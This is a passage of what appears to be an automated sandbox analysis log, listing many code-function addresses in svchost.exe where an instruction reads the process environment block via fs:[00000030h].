Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D8350 mov ecx, dword ptr fs:[00000030h]	1_2_038D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0390634F mov eax, dword ptr fs:[00000030h]	1_2_0390634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D437C mov eax, dword ptr fs:[00000030h]	1_2_038D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E284 mov eax, dword ptr fs:[00000030h]	1_2_0386E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E284 mov eax, dword ptr fs:[00000030h]	1_2_0386E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]	1_2_038B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]	1_2_038B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B0283 mov eax, dword ptr fs:[00000030h]	1_2_038B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038402A0 mov eax, dword ptr fs:[00000030h]	1_2_038402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038402A0 mov eax, dword ptr fs:[00000030h]	1_2_038402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]	1_2_038C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_038C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]	1_2_038C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]	1_2_038C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]	1_2_038C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C62A0 mov eax, dword ptr fs:[00000030h]	1_2_038C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0383A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0383A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0383A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0383A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0383A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039062D6 mov eax, dword ptr fs:[00000030h]	1_2_039062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]	1_2_038402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]	1_2_038402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038402E1 mov eax, dword ptr fs:[00000030h]	1_2_038402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382823B mov eax, dword ptr fs:[00000030h]	1_2_0382823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B8243 mov eax, dword ptr fs:[00000030h]	1_2_038B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B8243 mov ecx, dword ptr fs:[00000030h]	1_2_038B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0390625D mov eax, dword ptr fs:[00000030h]	1_2_0390625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382A250 mov eax, dword ptr fs:[00000030h]	1_2_0382A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836259 mov eax, dword ptr fs:[00000030h]	1_2_03836259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EA250 mov eax, dword ptr fs:[00000030h]	1_2_038EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EA250 mov eax, dword ptr fs:[00000030h]	1_2_038EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]	1_2_03834260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]	1_2_03834260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03834260 mov eax, dword ptr fs:[00000030h]	1_2_03834260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382826B mov eax, dword ptr fs:[00000030h]	1_2_0382826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E0274 mov eax, dword ptr fs:[00000030h]	1_2_038E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03870185 mov eax, dword ptr fs:[00000030h]	1_2_03870185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EC188 mov eax, dword ptr fs:[00000030h]	1_2_038EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EC188 mov eax, dword ptr fs:[00000030h]	1_2_038EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D4180 mov eax, dword ptr fs:[00000030h]	1_2_038D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D4180 mov eax, dword ptr fs:[00000030h]	1_2_038D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]	1_2_038B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]	1_2_038B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]	1_2_038B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B019F mov eax, dword ptr fs:[00000030h]	1_2_038B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]	1_2_0382A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]	1_2_0382A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382A197 mov eax, dword ptr fs:[00000030h]	1_2_0382A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F61C3 mov eax, dword ptr fs:[00000030h]	1_2_038F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F61C3 mov eax, dword ptr fs:[00000030h]	1_2_038F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_038AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_038AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_038AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_038AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_038AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039061E5 mov eax, dword ptr fs:[00000030h]	1_2_039061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038601F8 mov eax, dword ptr fs:[00000030h]	1_2_038601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov eax, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE10E mov ecx, dword ptr fs:[00000030h]	1_2_038DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DA118 mov ecx, dword ptr fs:[00000030h]	1_2_038DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]	1_2_038DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]	1_2_038DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DA118 mov eax, dword ptr fs:[00000030h]	1_2_038DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F0115 mov eax, dword ptr fs:[00000030h]	1_2_038F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03860124 mov eax, dword ptr fs:[00000030h]	1_2_03860124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]	1_2_038C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]	1_2_038C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C4144 mov ecx, dword ptr fs:[00000030h]	1_2_038C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]	1_2_038C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C4144 mov eax, dword ptr fs:[00000030h]	1_2_038C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382C156 mov eax, dword ptr fs:[00000030h]	1_2_0382C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C8158 mov eax, dword ptr fs:[00000030h]	1_2_038C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836154 mov eax, dword ptr fs:[00000030h]	1_2_03836154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03836154 mov eax, dword ptr fs:[00000030h]	1_2_03836154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904164 mov eax, dword ptr fs:[00000030h]	1_2_03904164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03904164 mov eax, dword ptr fs:[00000030h]	1_2_03904164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383208A mov eax, dword ptr fs:[00000030h]	1_2_0383208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038280A0 mov eax, dword ptr fs:[00000030h]	1_2_038280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C80A8 mov eax, dword ptr fs:[00000030h]	1_2_038C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F60B8 mov eax, dword ptr fs:[00000030h]	1_2_038F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_038F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B20DE mov eax, dword ptr fs:[00000030h]	1_2_038B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0382A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038380E9 mov eax, dword ptr fs:[00000030h]	1_2_038380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B60E0 mov eax, dword ptr fs:[00000030h]	1_2_038B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0382C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038720F0 mov ecx, dword ptr fs:[00000030h]	1_2_038720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B4000 mov ecx, dword ptr fs:[00000030h]	1_2_038B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D2000 mov eax, dword ptr fs:[00000030h]	1_2_038D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]	1_2_0384E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]	1_2_0384E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]	1_2_0384E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E016 mov eax, dword ptr fs:[00000030h]	1_2_0384E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382A020 mov eax, dword ptr fs:[00000030h]	1_2_0382A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382C020 mov eax, dword ptr fs:[00000030h]	1_2_0382C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038C6030 mov eax, dword ptr fs:[00000030h]	1_2_038C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03832050 mov eax, dword ptr fs:[00000030h]	1_2_03832050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B6050 mov eax, dword ptr fs:[00000030h]	1_2_038B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385C073 mov eax, dword ptr fs:[00000030h]	1_2_0385C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D678E mov eax, dword ptr fs:[00000030h]	1_2_038D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038307AF mov eax, dword ptr fs:[00000030h]	1_2_038307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038E47A0 mov eax, dword ptr fs:[00000030h]	1_2_038E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0383C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B07C3 mov eax, dword ptr fs:[00000030h]	1_2_038B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]	1_2_038527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]	1_2_038527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038527ED mov eax, dword ptr fs:[00000030h]	1_2_038527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_038BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038347FB mov eax, dword ptr fs:[00000030h]	1_2_038347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038347FB mov eax, dword ptr fs:[00000030h]	1_2_038347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C700 mov eax, dword ptr fs:[00000030h]	1_2_0386C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830710 mov eax, dword ptr fs:[00000030h]	1_2_03830710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03860710 mov eax, dword ptr fs:[00000030h]	1_2_03860710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C720 mov eax, dword ptr fs:[00000030h]	1_2_0386C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C720 mov eax, dword ptr fs:[00000030h]	1_2_0386C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386273C mov eax, dword ptr fs:[00000030h]	1_2_0386273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386273C mov ecx, dword ptr fs:[00000030h]	1_2_0386273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386273C mov eax, dword ptr fs:[00000030h]	1_2_0386273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AC730 mov eax, dword ptr fs:[00000030h]	1_2_038AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386674D mov esi, dword ptr fs:[00000030h]	1_2_0386674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386674D mov eax, dword ptr fs:[00000030h]	1_2_0386674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386674D mov eax, dword ptr fs:[00000030h]	1_2_0386674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03830750 mov eax, dword ptr fs:[00000030h]	1_2_03830750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038BE75D mov eax, dword ptr fs:[00000030h]	1_2_038BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872750 mov eax, dword ptr fs:[00000030h]	1_2_03872750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872750 mov eax, dword ptr fs:[00000030h]	1_2_03872750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B4755 mov eax, dword ptr fs:[00000030h]	1_2_038B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03838770 mov eax, dword ptr fs:[00000030h]	1_2_03838770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03840770 mov eax, dword ptr fs:[00000030h]	1_2_03840770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03834690 mov eax, dword ptr fs:[00000030h]	1_2_03834690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03834690 mov eax, dword ptr fs:[00000030h]	1_2_03834690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0386C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038666B0 mov eax, dword ptr fs:[00000030h]	1_2_038666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0386A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0386A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_038AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_038AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_038AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_038AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B06F1 mov eax, dword ptr fs:[00000030h]	1_2_038B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B06F1 mov eax, dword ptr fs:[00000030h]	1_2_038B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038AE609 mov eax, dword ptr fs:[00000030h]	1_2_038AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384260B mov eax, dword ptr fs:[00000030h]	1_2_0384260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03872619 mov eax, dword ptr fs:[00000030h]	1_2_03872619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E627 mov eax, dword ptr fs:[00000030h]	1_2_0384E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03866620 mov eax, dword ptr fs:[00000030h]	1_2_03866620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03868620 mov eax, dword ptr fs:[00000030h]	1_2_03868620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383262C mov eax, dword ptr fs:[00000030h]	1_2_0383262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384C640 mov eax, dword ptr fs:[00000030h]	1_2_0384C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F866E mov eax, dword ptr fs:[00000030h]	1_2_038F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038F866E mov eax, dword ptr fs:[00000030h]	1_2_038F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A660 mov eax, dword ptr fs:[00000030h]	1_2_0386A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A660 mov eax, dword ptr fs:[00000030h]	1_2_0386A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03862674 mov eax, dword ptr fs:[00000030h]	1_2_03862674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03832582 mov eax, dword ptr fs:[00000030h]	1_2_03832582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03832582 mov ecx, dword ptr fs:[00000030h]	1_2_03832582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03864588 mov eax, dword ptr fs:[00000030h]	1_2_03864588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E59C mov eax, dword ptr fs:[00000030h]	1_2_0386E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]	1_2_038B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]	1_2_038B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B05A7 mov eax, dword ptr fs:[00000030h]	1_2_038B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038545B1 mov eax, dword ptr fs:[00000030h]	1_2_038545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038545B1 mov eax, dword ptr fs:[00000030h]	1_2_038545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E5CF mov eax, dword ptr fs:[00000030h]	1_2_0386E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386E5CF mov eax, dword ptr fs:[00000030h]	1_2_0386E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038365D0 mov eax, dword ptr fs:[00000030h]	1_2_038365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0386A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0386A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0385E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038325E0 mov eax, dword ptr fs:[00000030h]	1_2_038325E0
